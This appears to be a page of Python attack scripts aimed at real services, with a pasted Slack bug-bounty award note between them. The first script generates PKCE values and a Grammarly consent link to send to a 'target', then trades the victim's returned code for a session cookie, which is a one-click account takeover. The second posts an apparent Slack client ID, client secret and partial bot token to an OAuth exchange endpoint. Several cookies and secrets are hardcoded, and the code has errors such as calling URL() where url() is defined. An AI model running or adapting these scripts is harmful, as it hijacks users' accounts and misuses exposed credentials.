SHAHO IT

import requests


import secrets
import hashlib
import base64

class OAuth:
    def __init__(self):
        self.sha256 = hashlib.sha256

    def generate_random_code_verifier(self):
        # Generate 96 random bytes
        random_bytes = secrets.token_bytes(96)
        # Encode the random bytes to base64 and make it URL-safe
        return self.safe_url(base64.urlsafe_b64encode(random_bytes).decode('utf-8'))

    def calculate_code_challenge(self, code_verifier):
        # Hash the code verifier with SHA256
        code_verifier_bytes = code_verifier.encode('ascii')
        hashed = self.sha256(code_verifier_bytes).digest()
        # Encode the hash in base64 and make it URL-safe
        return self.safe_url(base64.urlsafe_b64encode(hashed).decode('utf-8'))

    def safe_url(self, url_data):
        if not url_data:
            return url_data
        # Remove padding '=' characters
        return url_data.replace('+', '-').replace('/', '_').replace('=', '')

# Usage
oauth = OAuth()
code_verifier = oauth.generate_random_code_verifier()
code_challenge = oauth.calculate_code_challenge(code_verifier)

print(f"Code Verifier: {code_verifier}")
print(f"Code Challenge: {code_challenge}")



def url():
    code_challenge=input('[+]:Code Challenge:[+]')
    code_verifier=input('[+]:Code Verifier:[+]')
    url=f"https://www.grammarly.com/signin/app/consent?client_id=windowsExtension&code_challenge={code_challenge}&showSuccessState=true&verify=00000"
    print("[+] 1 click read to make takeover [+]")
    print(f"[+]:send this url to target : {url}")
    print('[+] Waiting For code  From [+]')
    code_from_vitcm=input('[+]:Enter Code To exploit grauth & and user info [+] ')
    data_exchange_code={
        "app":"windowsExtension",
        "app_version":"1.2.96.1473",
        "client_id":"windowsExtension",
        "code":f"{code_from_vitcm}",
        "code_verifier":f"{code_verifier}",
        "container_id":"WIN-22c20f80-c1fd-42ab-a360-ce1a24ee080a"
        }
    url_exchange_code="https://auth.grammarly.com/v3/api/unified-login/code/exchange"
    headers_code={
        'X-Csrf-Token': 'AABOBQ3Fy+I0o7+ECxG6w4itKGEmLwXafPrhcw',
        'Origin': 'https://windows-extension.grammarly.com',
        'User-Agent': 'windowsExtension/1.2.96.1473',
        'X-Client-Type': 'windowsExtension',
        'X-Client-Version': '1.2.96.1473',
        'Cookie': 'grauth=AABOBZFcnKMuO45ifz3eTw7bUyYXUCFV0coLeQ5JdM1QuJfDz041V4eIOxsq5He7_Yk0fCnTFqDeTcfY; csrf-token=AABOBQ3Fy+I0o7+ECxG6w4itKGEmLwXafPrhcw; tdi=',
    
   
    }
    code_exchange_run=requests.post(url_exchange_code,headers=headers_code,json=data_exchange_code)
    print(code_exchange_run.status_code)
    print(code_exchange_run.cookies)
    print(code_exchange_run.text)

URL()

Slack
 
rewarded mr-blackhole with a $7,000 bounty. 
May 8, 2024, 4:42pm UTC
Thank you for your report!
Authentication / Authorization Bypass / Privilege Escalation / Improper Access Control / Circumvention Platform’s Permission Model / Insecure Direct Object Reference (IDOR) (Cross Org) - High - $7,000

import requests


def send():
                   
          url="https://slack.com/api/oauth.v2.exchange"
          heads={
                               'Content-Type': 'application/x-www-form-urlencoded'
                          }
         datasend={
                             
                             'client_id':'5891056345111.6955537498548',
                             'client_secret':'591dc7dc141c10105eaf2c3366889c1e',
                              'token':"xoxb-6938486470791-6968496135714-" 
                                 }
          send=requests.post(url,headers=heads,data=datasend)
          print(send.text)



send()